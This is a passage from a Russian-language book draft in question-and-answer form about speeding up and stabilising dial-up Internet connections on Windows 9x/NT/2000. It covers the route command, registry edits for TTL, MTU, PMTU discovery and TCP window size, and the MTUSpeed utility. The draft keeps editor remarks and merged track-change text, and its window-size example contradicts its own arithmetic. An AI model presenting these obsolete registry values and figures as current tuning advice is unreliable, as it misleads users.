Поиск

Полнотекстовый поиск:
Где искать:
везде
только в названии
только в тексте
Выводить:
описание
слова в тексте
только заголовок

Рекомендуем ознакомиться

'Программа'
Т.А. Ладыженская ПРОГРАММА ПО РИТОРИКЕ 5- 11-й классы Пояснительная записка Предлагаемый курс школьной риторики направлен на формирование коммуникатив...полностью>>
'Документ'
Ознайомити студентів із періодом німецької класичної філософії та з системами знання її основних представників (І. Кант, Й. Фіхте, Ф. Шеллінг, Ґ. Геґ...полностью>>
'Документ'
Я выбрала тему А.С.Пушкин «Медный Всадник», потому что прочитав это произведение, я вдумалась в него и поняла что это произведение не просто об обычн...полностью>>
'Автореферат диссертации'
Работа выполнена в Федеральном государственном бюджетном учреждении «Государственный научный центр Институт иммунологии» Федерального медико-биологич...полностью>>

Книга построена в стиле "вопрос ответ". Ответы бывают двух видов

Главная > Книга
Сохрани ссылку в одной из сетей:

1

Смотреть полностью

Общие замечания:

Огромное количество грубых литературных ошибок, пропущенных корректором!

Верстальщику:

Все замечания исправления сделаны в режиме правки. Для их просмотра можно использовать "Сервис  Исправления  Принять/Отклонить  Следующее Исправление"

Все замечания заключены в фигурные скобки, например: {УБРАТЬ КУРСИВ>>>} {<<<убрать перенос}. Стрелка указывает на направление комментария, т.е. в первом случае следует удалить комментарий справа от замечания, а во втором убрать перенос слева от замечания.

С уважением, КК

Об этой книге

::Краткая история …каждодневно отвечая на множество вопросов, приходящих мне по электронной почте и задаваемых лично – моими друзьями и приятелями, я задумался – а что, если собрать все свои ответы, слегка подредактировать, придав им "товарный" вид, и объединить их одной книге? Сказано – сделано, и результат этой работы лежит перед вами.

::Изложение Возможно, даже наверняка, глубина изложения вам покажется непостоянной – от поверхностных объяснений "на пальцах" до дебрей технических подробностей, вмногие из которых с лету разберется не всякий нелегко понять начинающимй.

Да, это так! Настоящая книга не вытесана из цельного куска древесины, а собрана из мозаики различных пород – самостоятельных произведений, написанных в разное время и для разной аудитории.

Минус ли это? Да нет же, скорее наоборот! Каждый читатель, какой бы он ни был квалификации, найдет в книге что-то интересное для себя. Не книга, а прямо кладовая хочемяка!

::Стиль Книга построена в стиле "вопрос – ответ". Ответы бывают двух видов – краткие и развернутые. Краткие ответы предваряются символом "Q" (от Question – вопрос), а развернутые – "A" (от Article – статья).

Введение

"Только кончая задуманное сочинение, мы уясняем себе, с чего нам следовало его начать".

Блез Паскаль

Q: Я не нашел в этой книге описания своего приложения! Что делать? (все читатели хором broadcast@)

Усилиями мирового сообщества программистов всего мира создано бесчисленное множество разнообразных приложений, – ни в одной книге всех их не описать! Неудивительно, если ваша любимая программа ни словом здесь не упомянута.

Автор и не стремился свести свои ответы к рекомендациям типа "нажми такие-то кнопки, а почему и не спрашивай", а всегда пытался объяснить: как именно решить ту или иную проблему и отчего эта проблема вообще возникает. Разумеется, конкретные действия зависят от специфики используемого приложения, но ведь если сказать, что для предотвращения ошибки загрузки файла необходимо в своей "качалке" отключить режим "ASCII", пользователь и сам, порыскав некоторое время по пунктам меню, сможет найти такую точно или близкую по звучанию опцию и отключить ее. В крайнем случае поможет документация, прилагаемая к программе, – там наверняка будет наописано какой именно пункт меню ответственен за установку режима ASCII, – так какая необходимость описывать это в книге?

Книга, которую вы сейчас держите в руках, максимально подробно объясняет принципы функционирования Интернет, раскрывает множество секретов эффективного использования сети и предлагает кратчайшие решения различных проблем. При этом она не привязанаается ни к каким-то конкретным приложениям, – их читатель может выбирать самостоятельно, – и делает упор на принципы, а не на их реализации. Другими словами, не дает рыбу, а учит ловить ее.

??? Рисунок "карикатура" Одному человеку дают рыбу, а другому удочку, на другой картинке – первый чел. сидит с обглоданным рыбьим хвостом, а другой – уже наловил гору рыбы…

Конкретные примеры на некоторых, наиболее популярных, приложениях, приводятся в исключительно в качестве наглядной иллюстрации сказанного – дабы читателю было легче разбираться, и нет ничего удручающего в том, что рекомендации, применимые именно к любимому вами приложению, отсутствуют. Все приложения в чем-то схожи меж собой, и по принципам работы одного можно понять принцип работы другого.

Родственные вопросы: О каких конкретно именно приложениях рассказывается в данной книге?

Q: О каких конкретно именно приложениях рассказывается в данной книге?

Хотя данная книга описывает не сами приложения, а общую концепцию работы, применимую к множеству приложений, большинство ответов содержат и готовые решения в стиле "нажми то-то, щелки там-то…" на примере конкретных приложений. Что же это за приложения?

В первую очередь те, которые использует сам автор в повседневной работе – Outlook Express 5.0, Internet Explorer 5.0, FAR 1.6, ReGet 1.4, Teleport Pro 1.28 и некоторые другие. В этом списке нет ни The Bat, ни Netscape Navigator, поскольку, во-первых, они не входят в штатную поставку операционной системы, а, во-вторых, функционально очень близки к Outlook Express\Internet Explorer и во избежание дублирования их описание опускается. В, третьих, ни The Bat, ни Netscape Navigator автору не симпатичны (моя селедка, что хочу, то и делаю).

Описаны следующие операционные системы: Windows 98 (Me), Windows NT 4.0 и Windows 2000 – все русские версии.

Q: Как связаться с автором этой книги?

Присылайте свои отзывы, пожелания, замечания и свежие вопросы (особенно приветствуются вопросы) по адресу kk@. Авторы оригинальных вопросов в обязательном порядке будут награждены экземпляром следующего издания этой книги с автографом.

Провайдер и удаленный доступ

"Власть - палка о двух концах"

Френк Херберт "Дюна"

A:Оптимизация соединения с Интернет

Повременная оплата соединения с Интернет горячо любима всеми нерадивыми провайдерами, кривые руки которых не могут как следует отстроить свое хозяйство и обеспечить надлежащую скорость обменабыструю связь. Клиент получает меньшее количество информации за то же время и в результате дольше торчит в Сети. А время – деньги. В самом, что ни на есть прямом смысле этого слова. Вот, если бы оплата шла за каждый скаченный мегабайт – будьте покойны – все бы летало как реактивный бомбардировщик с ракетой класса "Буш – Садам Хусейн", но многие ли провайдеры поддерживают такой тарифный план?

Ладно бы, все заключения ограничивались одной скоростью (в смысле полным отсутствуем таковой). Так нет же – соединение может быть нестабильным, часто обрываться, а то и не работать совсем – некоторые сайты могут не грузиться, ругаясь на загадочную ошибку "TTL Bug", закачка по ftp может вообще не "фэтэпить"… да разве ж перечислишь все злоключения, терзающие интернетчика!

Конечно, радикальнее всего – сменить провайдера, но это не всегда возможно. В больших городах счет провайдеров идет на десятки, а в провинциях он, монополист окаянный, нередко бывает в единичном экземпляре, что вдвойне хуже – монополисту незачем заботиться о своих клиентах – все равно они никуда не убегут, каким бы скверным качество обслуживания ни было. Да и куда бежать-то?

???? Рисунок "карикатура" Изобразить провайдера в виде спрута (щупальца – коммуникации), удушающего своими щупальцами пользователей.

Впрочем, в клинических случаях стоит задуматься о поиске провайдера в соседнем городе. Как ни парадоксально, но даже с учетом междугородней оплаты за телефон, иногда это выходит в несколько раз дешевле. Правда-правда! Именно так и приходиться поступать автору этой книги.

Менее радикальная мера – настроить параметры TCP/IP соединения на максимальную производительность, что дает прирост скорости обмена от 30% до 200% и избавляет от большей части разрывов. Остаются лишь фатальные сбои и зависания самого провайдера, побороть которые с клиентской стороны принципиально невозможно.

Существует множество программ, например, MTUSpeed (/download.htm), (см. "Описание утилиты MTUSpeed") как раз и предназначенных для этой цели. Одна беда – ни одна из них не работает в полностью автоматическом режиме – все они всего лишь оболочки над системным реестром Windows, – так сказать, комфортный инструмент внесения в него изменений. Но легко сказать "вносить"! А как? Множество малопонятных и ничего не говорящих параметров, порой вообще без каких либо пояснений. Попытки же разобраться во всем "методом тыка" скорее еще больше снизят скорость, чем ее увеличат. Тут без хорошего руководства не обойтись!

Первое, чем мы займемся, – попытаемся устранить разрывы TCP-соединений (не путать с разрывами модемных соединений!). Они довольно многочисленны и разнообразны, а причинной их возникновения может быть и провайдер, и один из маршрутизаторов в длинной цепочке передачи пакетов, и сам удаленный сервер, с которым, собственно, и установлено соединение, и… да мало ли еще кто!

Начнем с провайдера. Итак, представим себе следующую картину (маслом по дереву): модем не бросает трубку, но все установленные соединения вдруг обрываются и после этого ни к одному серверу подключиться не удается. Положение спасает лишь реконнект – отключение от Интернет и повторный заход вновь. Мало того, что это медленно, да к тому же есть риск, нарваться на глухую "бизю" – если что освободившийся телефонный номер мгновенно в это время займет другой клиент (особенно если у провайдера острый недостаток входных номеров). В зависимости от кривости и нагрузки сервера такие разрывы могут происходить и эпизодически, и по несколько раз в час, а то и в даже каждую минуту, представляя собой настоящую превращая работу с Интернетом в настоящую пытку.

Причина их возникновенияПричина разрывов, скорее всего в том, что у провайдера неправильно настроен DHCP-сервер. Тот самый, что выдает пользователям IP-адреса. Как и любой собственник, он выдает отдает их не на совсем, а на некоторое, под час весьма непродолжительное, время. Если клиент (точнее его операционная система) по каким-то там причинам (сеть тормознула, крыша поехала, пакет кто-то прибил) не успеет продлить срок аренды, его IP-адрес будет безжалостно отнят. А? когда же наконец, клиент наконец "проснется" и пошлет петицию DHCP-серверу, тот смилостивится и отпустит с барского плеча еще один IP-адрес, типа, на, пользуйся на здоровье! И вроде бы все ничего, да вот не понимает "народная" Windows 95\98 таких извращений! Она ожидает получения IP-адреса всего лишь один раз – на стадии подключения к провайдеру.

Вернее, Получить-то IP-адрес она получает, но вот включить его в таблицу маршрутизации "забывает" и ни один отправляемый пакет не может уйти дальше своего компьютера. Приходится, взяв инициативу в свои руки, исправлять положение самостоятельно.

Прежде необходимо в сеансе MS-DOS запустить утилиту ipconfig (входит в штатную поставку Windows) и посмотреть какой у нас IP-адрес. Если он выглядит как "0.0.0.0" – значит, DHCP-сервер флиртует с операционной системой (в смысле – висит глухо). Если же IP равен "127.0.0.1", – сети напрочь нет и тут что-то серьезное. А вот любое другое значение указывает на верный IP-адрес который необходимо добавить в голову таблицы маршрутизации, передав его утилите route из штатной поставки Windows следующим образом: "route.exe ADD 0.0.0.0 MASK 0.0.0.0 Ваш IP METRIC 1". Попробуйте установить соединение с каким-нибудь сервером – теперь все должно заработать.

Работает? Вот и славненько! Однако восстановить соединение без реконнекта – это только полдела. Хорошо бы устранить и причину этих разрывов – ведь не все же сервера поддерживают докачку и частые разрывы создают большие проблемы (см. "Получение файлов Необходимо скачать большой файл, но соединение постоянно рвется, а сервер не поддерживает "докачки"…").

В идеальном случае следовало бы взять провайдера за ухо и с помощь дяди прокурора ткнуть носом в DCHP-сервер, объясняя ему, что клиент не должен оплачивать некомпетентность инженерного персонала поставщика сетевых услуг за свой счет. Да только в нашей стране такой прием вряд ли возымеет действие… Приходится выкручиваться самостоятельно, но на клиентской стороне очень мало что можно сделать, да и то только программистам. Единственное, доступное "простым смертным" решение, – перейти на Windows 2000 - с этой проблемой она справляется на раз!

??? Рисунок "карикатура" Милиционер держит провайдера за ухо одной рукой, а другой рукой показывает на сервер. Вокруг стоят пользователи, по лицам которых видно, что одобряют такое развитие событий.

Второй по счету источник неприятностей – эта пресловутая ошибка "TTL bug", приводящая к невозможности установки соединения. Дело в том, что во избежание засорения сети "Летучими Голландцами", то есть, попросту говоря, зацикленными пакетами, каждый из них имеет ограниченный срок существования, указанный в заголовке и измеряемый количеством промежуточных узлов, которые может посетить пакет. Если пакет не будет доставлен за это время, он "прибивается" очередным маршрутизатором c посылкой отправителю соответствующего "похоронного" уведомления.

Чем больше транзитных узлов расположено между отправителем и получателем, тем дольше пакеты добираются из одного конца в другой. К счастью, время жизни пакета (аббревиатура TTL так и расшифровывается Time To Live – время жизни) очень легко изменить, – запустите Редактор Реестра, предварительно зарезервировав сам реестр, и откройте ветвь HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\DefaultTTL для ОС Windows NT\2000 и HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP\DefaultTTL для Windows 9x - она-то и управляет сроком жизни пакетов. По умолчанию он равен 32 узлам, но, как показывает практика, в некоторых случаях этого явно недостаточно и стоит увеличить его по крайней мере вдвое. (Можно и больше – но от этого лучше не станет, хотя и хуже – тоже). После внесения изменений в реестр следует перезагрузится, заново войти в сеть и проверить – возымело ли это какое-то действие.

Возымело? Так… соединение с ftp-сервером установить удается, но вот закачка не работает, хоть убей – сколько ни жди, а индикатор прогресса издевательски остается на нуле процентов. Абыдно, понимаешь! Что ж, будем лечить! Попробуйте для начала включить опцию с интригующим названием Распознавание Черной Дыры – "Black Hole Detect".

Зачем она нужна? А вот зачем – хитрая Windows, стремясь увеличить скорость передачи данных, пытается вычислить максимальный размер пакета, который бы обрабатывался пересылающими его маршрутизаторами без разрезания. Разрезание (или, говоря профессиональным языком, фрагментация) ощутимо снижает скорость соединения, особенно если пакет дробится на две неравные половины. Например, путь компьютер клиента пытается передать пакет размером в 576 байт, но один из маршрутизаторов в цепочке "умеет считать" только до 512, и разрезает пакет на два, причем во второй попадает "хвостик" из 64 байт, плюс… заголовок, занимающий от 40 и более байт. В итоге – КПД второго пакета составит всего лишь 50%, что очень нехорошо!

Если Windows видит, что избежать фрагментации не удастся, она уменьшает размер пакета так, чтобы он без проблем прошел сквозь все маршрутизаторы одним куском. Но не проще было бы сразу задать минимальный размер? Нет, и вот почему – чем меньше пакет, тем выше накладные расходы на его пересылку (заголовок тоже ведь занимает место) и тем больше пакетов требуется переслать для передачи того же объема информации.

Умение Windows подбирать максимальный размер не фрагментируемого пакета всем хорошо, да вот беда – не всегда это работает. Некоторые, не слишком демократичные маршрутизаторы, получив слишком длинный (по их мнению) пакет с пометкой "не фрагментировать", прибивают его на месте безо всяких уведомлений! Windows же, не подозревая, что посланный ею пакет погиб, ждет отклика от сервера. Долго ждет… А затем, там и не дождавшись, вновь посылает тот же самый пакет. И все повторяется! Вот этот-то недемократичный маршрутизатор и называется "Черной дырой"!

Включение опции "Black Hole Detect" активирует хитроумный алгоритм распознания "Черных Дыр" для обхода их стороной. Но за все приходится платить, и такое детектирование несколько снижает общую производительность. Несильно – но все ж таки! Поэтому прибегать к нему следует только в крайних случаях – когда действительно что-то не работает – соединение есть, а трансфер (передача данных) на нуле.

Запустите "Редактор Реестра" и откройте ветвь HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP для Windows 95\98 и HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters для Windows NT\2000. Найдите или при необходимости создайте двоичный параметр PMTUBlackHoleDetect для Windows 95\98 и EnablePMTUBHDetect для Windows NT\2000. Теперь присвойте ему значение "1" и перезагрузитесь.

Что? Все равно не работает? Хм… Боги, боги, зачем вы так несправедливы?! Ничего не остается, как расстаться с надеждой пересылки пакетов максимального размера и перейти на размер, обязательный (ну, формально обязательный) для всех маршрутизаторов – 576 байт. Для этого в той же самой ветке реестра найдите (создайте) двоичный параметр PMTUDiscovery для Windows 95\98, а для Windows NT\2000 – EnablePMTUDiscovery и присвойте ему значение "0". Перезагрузитесь. Ну, Должно же это, наконец, заработать!

Кстати, с типом двух этих ключей творится что-то непонятное. Документация от Microsoft утверждает, что он (тип в смысле) должен представлять собой двойное слово, то бишь, по-английски DWORD. Однако у автора под Windows 2000 закачка по ftp начинает работать только после создания указанных ключей типа одиночного слова (WORD), а DWORD-ключи операционная система упорно игнорирует. Мистика какая-то…

Теперь поговорим об оптимизации соединения. Оптимизация – дело непростое. Это не то, что работает система или нет. Работать-то она работает, вот только как? Тривиальным измерением скорости скачиваемого файла ничего выяснить не удастся. График скорости только в исключительных случаях (и на хороших каналах) представляется прямой линией. Гораздо чаще он напоминает трассу Урюпинск – Ханты-Мансийск: сплошные бугры, колдобины, ямы, словом, крайне испещренная местность. Говорить о средней скорости можно только в переносном смысле, тем паче, что она может сильно варьироваться в зависимости от времени суток, сервера, с которым установлено соединение, количества осадков, выпавших в Африке, да мало ли еще от чего!

До начала экспериментов потребуется собрать статистику работы сети за некоторое время, скажем за неделю. В этом поможет программа Net Medic () или любая другая, аналогичная ей. Затем, после внесения изменений в настройки системы, собирается другая статистика, опять-таки на протяжении семи - десяти дней, и сравнивается с предыдущей – изменилось ли что и если да, то в какую сторону?

Дело это, конечно, медленное, но иного способа тонкой настройки нет. Необходимо убедиться в увеличении скорости обмена со всеми серверами и во все времена суток, то есть, найти компромиссный оптимум. Не все, что хорошо для одного случая, так же хорошо подходит для другого. Взять ту же фрагментацию уже рассмотренную выше. Автоматическое определение подходящего размера пакета не всегда увеличивает скорость соединения, нередко оно ее уменьшает, под час весьма значительно – автоматическое определение занимает какое-то время, увеличивая накладные расходы и снижая КПД. Имеет смысл попробовать найти оптимальное значение вручную.

Первым делом необходимо указать Windows, что требуется использовать не максимально возможный, а заранее оговоренный размер пакета. Для этого установите значение ключа PMTUDiscovery (EnablePMTUDiscovery) в ноль. Затем задайте желаемый размер пакета. По умолчанию он равен 576 байтам – это значение по стандарту должны поддерживать все маршрутизаторы, да только кто эти стандарты соблюдает? Вот и встречаются узлы, обрабатывающие пакеты размером не более 512, 522, 556,… байт. В принципе, можно поставить 500 и не мучаться проблемой выбора, но так неинтересно. Разве не заманчиво методичным подбором байтов оптимизировать соединение до конца?

Размер пакетов для Windows 95\98 задается ключом MaxMTU, находящимся в той же самой ветке реестра, что и предыдущие ключи. С Windows NT\2000 посложнее, – чтобы выяснить местоположение ключа MTU необходимо определить идентификатор используемого адаптера. Перечень всех адаптеров компьютера содержится в ключе Adapters ветки HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters. Как правило, большинство персональных компьютеров обходятся лишь одним адаптером – контроллером удаленного доступа (нет, это не плата расширения, это драйвер такой) и буридановой проблемы выбора нужного идентификатора не стоит. Идентификатор же – это такое длинное малопонятное число, например, "{20692835-7194-467A-A2DC-0FAE23F0A70D}".

Запоминаем (записываем) его и открываем ветку HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ИдентиификаторАдаптера\Parameters\Tcpip (В Windows 2000 – HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Parameters\Tcpip\Interfaces\ИдентификаторАдаптера)

Среди прочего хлама здесь должен находится только что запомненный идентификатор адаптера, а в нем – ключ MTU, содержащий в себе максимальный размер пакета в байтах. Если такого ключа нет, его необходимо создать. Тип ключа MTU в обоих случаях соответствует двойному слову (DWORD).

Второй бастион оптимизации – размер TCP-окна. Чем "шире" окно, тем выше производительность, но в то же время больше издержки на повторные пересылки: случись какой сбой – не до конца заполненное окно очиститься и придется его "набивать" с самого начала. К тому же баловство с неумеренно широкими окнами часто приводит к образованию заторов в сети – промежуточные узлы не успевают обрабатывать сыплющийся на них поток пактов и все начинает жутко тормозить. Причем не только у виновника несчастья, но и у других ни в чем не повинных пользователей.

Ширина TCP-окна должна быть кратна размеру пакета за вычетом длины заголовка и превосходить его по крайне мере в четыре – шесть раз. В некоторых случаях наивысшая производительность достигается при ширине окна в 10х-12х (где х – размер пакета без заголовка, называемый так же "квиком"), а то и больше. Некоторые отчаянные головы пробуют даже большие значения и утверждают, что все работает "на ура!", но у автора такие значения не показывают чудес производительности, поэтому, подтвердить сказанное он не берется. Размер заголовка непостоянен и варьируется от 40 до 60 байт – не забываете об этом при поиске оптимальной ширины окна!

Для изменения размеров окна откройте ветвь реестра HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP для Windows 95\98 и HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters для Windows NT\2000. Найдите или при необходимости создайте двоичный параметр (двойное слово, DWORD) DefaultRcvWindow для Windows 95\98 и TcpWindowSize для Windows NT\2000. Присвойте ему желаемое значение (например, "3680", если размер пакета, заданный ключом MTU равен 500 байт – (500 – 40) * 8 = 3/600) и перезагрузитесь.

Оцените, как изменилась скорость соединения. Если она возросла – увеличьте ширину окна еще на один квик (не байт!), если уменьшилась – сузьте окно, а если осталась без изменений, расширьте окно на пару квиков. Так, в конце – концов, будет найдено оптимальное значение. Интернет - гуру утверждают, что оптимум ширины окна зависит от загруженности провайдера и сильно колеблется в течение суток. При максимальной загруженности в "час пик" окно лучше прикрывать, оставляя лишь узкую щель (3х-4х), а ночью, когда все нормальные юзеры давно баиньки и канал полностью свободен, – широко распахивать обе створки (10x и выше). Никаких суточных вариаций у своих провайдеров автор не замечал, но готов поверить, что в некоторых случаях они могут иметь место и гуру не врут.

Помимо выше упомянутых опций, реестр Windows содержит множество других значений, относящихся к TCP/IP, но рассказывать о каждом из них было бы слишком утомительно, да и нецелесообразно – для этого пришлось бы написать отдельную книгу, страниц эдак на пятьсот.

Родственные вопросы:

Описание утилиты MTUSpeed (следующий)

У меня часто случается непонятный глюк….

Приложения  Исходный текст kf.bat

Получение файлов  Необходимо скачать большой файл, но соединение постоянно рвется, а сервер не поддерживает "докачки"…

A: Описание утилиты MTUSpeed

Когда дзэнского наставника Бо-чжана спросили о том, как он представляет себе поиски природы Будды, он ответил: "Это похоже на то, как если бы кто-то ездил на быке в поисках этого быка.

Неспециалистам тонкую настройку TCP/IP-параметров (см. "Оптимизация соединения с Интернет") удобнее выполнять не "Редактором Реестра", а какой-нибудь специальной утилитой с более дружелюбным интерфейсом.

Одной из таких утилит и является MTUSpeed, бесплатная копия которой может быть скачена со следующего сайта: /download.htm. Она хорошо себя "чувствует" под всеми операционными системами семейства Microsoft Windows – Windows 95, Windows 98, Windows NT, Windows 2000, Windows Me, исключая лишь архаичную Windows 3.11 и более ранние версии (в них TCP/IP реализован по-другому).

Под Windows NT и Windows 2000 MTUSpeed требует для своего запуска прав администратора, в противном случае сообщает о критической ошибке, отказываясь работать даже в режиме просмотра параметров без их модификации.

Закладка MTU

При успешном старте утилиты автоматически открывается закладка "MTU" (см. рис. 1), в верхней части которой находится ниспадающий бокс, обеспечивающий выбор настраиваемого адаптера. Если на компьютере не установлено ни одной сетевой карты, в списке будет перечислен всего лишь один адаптер – "Контроллер удаленного доступа" ("Dial-Up Adapter" в английской версии Windows). Именно он "отвечает" за модемное соединение с провайдером.

Строкой ниже приводится текущее значение MTU (максимально допустимый размер одного пакета). Если оно равно нулю, подходящий размер пакета вычисляется самой Windows. (Выбор режима задается во вкладке "Registry").

Еще ниже, в окне, для красоты обведенном рамочкой, приводится размер TCP-окна с комментариями: сообщается размер окна в байтах (RWIN), размер сегмента данных пакета, равный размеру пакета за вычетом длины заголовка (MSS) и множитель (Multiplier), задающий размер окна в пакетах.

Значение множителя может быть изменено перемещением ползунка "Side the Track bar to change RWIN". Если ползунок заблокирован, значит, Windows использует размер окна по умолчанию. Для задания его значения вручную переместите радио кнопку "RWIN" закладки "Registry" в положение "Enable".

Рисунок 1 Рис 0x01A Назначение опций закладки MTU

Закладка Registry и кнопки Base Setting, Optimum Setting…

Вкладка "Registry" (см. рис. 2) управляет основными ключами реестра, ответственными за настройку TCP/IP-соединения. Радио кнопки могут находиться в одном из трех положений: "Enable" – параметр задействован (включен), "Disable" – параметр заблокирован (выключен) и "Remove" – данный ключ реестра удален, система использует значение по умолчанию.

Ключ "MTU", будучи установленный в положение "Enable", приводит к возможности ручного задания значения MTU – максимального размера пакета: щелкните по кнопке "Change MTU" и введите желаемое значение от 512 до 1500 (При этом ключ "PMTUDiscovery" должен находится в положении "Disable"). Оптимальное значение поможет подобрать утилита ping, вызываемая из вкладки "Utilities" (см. "Закладка Utilities").

Ключ "RWIN", будучи установленный в положение "Enable", приводит к возможности ручного задания размера TCP-окна, с помощью одноименного бегунка, находящегося во вкладке "MTU".

Ключ "PMTUDiscovery", будучи установленный в положение "Enabled", заставляет систему самостоятельно определять оптимальный размер пакетов. При этом значение MTU, заданное вручную, будет игнорироваться. Использование режима автоматического определения размера пакетов несколько снижает скорость обмена данных и порой приводит к проблемам (например, может не работать закачка по ftp или отправка электронной почты), поэтому его использование не всегда желательно. Положение "Disable" приводит к использованию размера пакетов по умолчанию (1500 для Windows 95 и 576 для остальных систем) либо же размеру, заданному пользователем (если пользователь задал свой размер). Наконец, положение "Remove" задействует режим по умолчанию – Windows 9x в этом случае использует фиксированный размер пакетов, а Windows 2000 – определяет его автоматически.

Ключ "PMTUBHDetect", будучи установленный в положение "Enable", активирует специальный алгоритм обнаружения Черных Дыр (подробнее об этом см. "Оптимизация соединения с Интернет"). Распознавание Черных Дыр имеет смысл только для режима автоматического определения размера пактов (ключ "PMTUDiscovery" находится в положении "Enable") и несколько снижает скорость. Поэтому, использовать его следует только в том случае, если есть явные проблемы – не работает закачка по ftp или не уходит почта. Положения "Disable" и "Remove" отключают алгоритм обнаружения Черных Дыр.

Ключ "Time To Live Active" будучи установленный в положение "Enable" приводит к возможности ручного задания продолжительности жизни отсылаемых пакетов, т.е. указывает какое максимальное количество промежуточных узлов может посетить пакет, прежде, чем будет уничтожен. Коррекция значения параметра TTL имеет смысл только при возникновении ошибки "TTL bug" и не влияет на производительность соединения. Положение "Disable" приводит к использованию срока жизни по умолчанию – 32.

Если разрешено ручное задание срока жизни пакетов, то следующий ключ "Time To LiveHoops" задает значение максимального количества промежуточных узлов, которые может посетить пакет. Каждый узел, передавая пакет другому, уменьшает значение TTL на единицу и, когда оно окажется равным нулю, пакет уничтожается с посылкой отправителю соответствующего уведомления (или в некоторых, достаточно редких, случаях без посылки такового). Если пакет умирает, не доходя до такого-то сервера, – увеличьте значение TTL – это должно помочь.

Ключ "NDI Cache Size" задает размер кэша, запоминающего исходный маршрут пакета в локальных сетях типа Token-Ring, и никак не влияет на производительность Интернет соединений. Хотя, ходят устойчивые слухи, дескать, данный параметр позволяет увеличить скорость обмена, – это только слухи не более того.

Для упрощения настройки TCP-соединений, создатели MTUSpeed предусмотрели ряд паттернов – готовых шаблонов, вызываемых нажатием одной кнопки. Таких шаблонов три – базовый, оптимальный и автоматический.

Базовый шаблон вызывается нажатием кнопки "Base Setting". Все TCP-установки остаются в положении в умолчанию, но разрешается ручное задание MTU – максимального размера пакетов. Вот только не факт, что заданное значение будет использоваться системой. Windows 2000 в конфигурации по умолчанию всегда стремится подбирать оптимальный размер пакетов, игнорируя пользовательские настройки, а для использования значения MTU, установленного вручную, необходимо переместить ключ "PMTUDiscovery" в положение "Disable", чего базовый шаблон не делает. Впрочем, к слову сказать, в Windows 9x все работает успешно, т.к. она не занимается подбором размера пактов по умолчанию.

Оптимальный шаблон вызывается нажатием кнопки "Optimum Setting". Он насильно отключает алгоритм подбора пакетов, вырубает механизм распознавания Черных Дыр, разрешает ручную установку MTU и увеличивает срок жизни пакетов до 128 узлов. Такая конфигурация отвечает большинству требований, прекрасно "чувствует" себя как под Windows 9x, так и под Windows NT\2000, словом, не зря носит имя оптимальной.

Автоматическая настройка, напротив, запрещает ручное задание MTU и заставляет систему самостоятельно определять подходящий размер пакетов и распознавать Черные Дыры. Следует напомнить – автоматическое определение "съедает" часть ресурсов и не всегда увеличивает производительность.

Копка "Remove Setting" отменяет все ручные настройки (шаблоны) и возвращает значения по умолчанию.

Флажок "Apply same values to all keys", расположенный внизу, будучи взведенный, распространяет текущие настройки на все адаптеры. В подавляющем большинстве случаев взводить его не следует. Если на компьютере установлен только один адаптер – Dial-Up- драйвер ("Контроллер удаленного доступа" в русской версии Windows), распространить настройки на другие адаптеры невозможно ввиду отсутствия таковых. Если же компьютер снабжен одной или несколькими сетевыми картами, – настройка локальной сети по образу и подобию Интернет снизит ее производительность (стандартный размер TCP-пакета для Ethernet равен 1.500 байтам, против 576 для PPP).

Флажок "RWIN enabled by Basic and Optimum buttons", будучи взведенный, приводит к включению в базовый и оптимальный шаблоны возможности ручного задания размера TCP-окна. Поскольку, размер окна, принятый в системе по умолчанию, не всегда оказывается оптимальным и его коррекция способна увеличить скорость обмена данными до двухсот и более процентов, этот флажок имеет смысл взвести.

Внимание! Чтобы любые изменения настроек вступили в силу необходимо перед выходом из программы нажать кнопку "Update Registry", затем перезагрузиться и войти в сеть опять. Это относится в равной мере к параметрам, размещенным на закладках MTU и Registry, а так же ко всем трем шаблонам.

Рисунок 2 Рис 0х01B Назначение опций закладки Registry

Закладка Utilities и подбор оптимального MTU

Для ручного подбора значения MTU, недурно бы иметь какой-нибудь инструмент, позволяющий количественно оценить влияние размера пактов на производительность Интернет - соединения.

Один из таких инструментов – утилита ping из штатной поставки Windows, способная отправлять по указанному адресу пакет заданного размера с пометкой "Не фрагментировать". Если какой-тонибудь из промежуточных серверов не в состоянии обрабатывать пакеты такого размера, он возвращает отправителю уведомление о невозможности доставки пакета и ping выдает на экран что-то вроде: "Требуется фрагментация пакета, но установлен запрещающий флаг". Остается опытным путем найти наибольший допустимый размер пакета…

Вовсе не обязательно уменьшать размер пакета каждый раз на единицу – MTU по обыкновению принимает одно из следующих фиксированных значений: 65.535, 32.000, 17.914, 8.166, 4.464, .4352, 2.048, 2.002, 1.536, 1.500, 1.492, 1.006, 576, 544, 512, 508, 296,68, – жирным шрифтом выделены наиболее распространенные значения в Интернет.

Так, тысяча байт – проходит! Полторы тысячи – проходит?! Две тысячи – как, опять, проходит??!! Разумеется, нет! На самом деле сервер кривого провайдера (и попадаются же такие – к примеру, тот же krintel) игнорируя флаг запрета фрагментации, втихую разрезает отправляемый пакет на столько частей, на сколько сочтет нужным. Как же в этом случае определить подходящее значение MTU, разумеется, не меняя провайдера?

Методика подбора оптимального размера пактов в этом случае будет следующей – связавшись с некоторым сервером, отправляем ему пакеты все большего и большего размера, замеряя среднее время их пересылки. До тех пор, пока пакет в процессе своего путешествия не фрагментируется, время доставки увеличивается прямо пропорционально размеру. Но, стоит только превысить некоторую критическую величину, как один пакет разрезается на два и время доставки скачкообразно возрастает (см. рис. 3), поскольку на транспортировку двух пакетов уходит больше времени, чем на транспортировку одного.

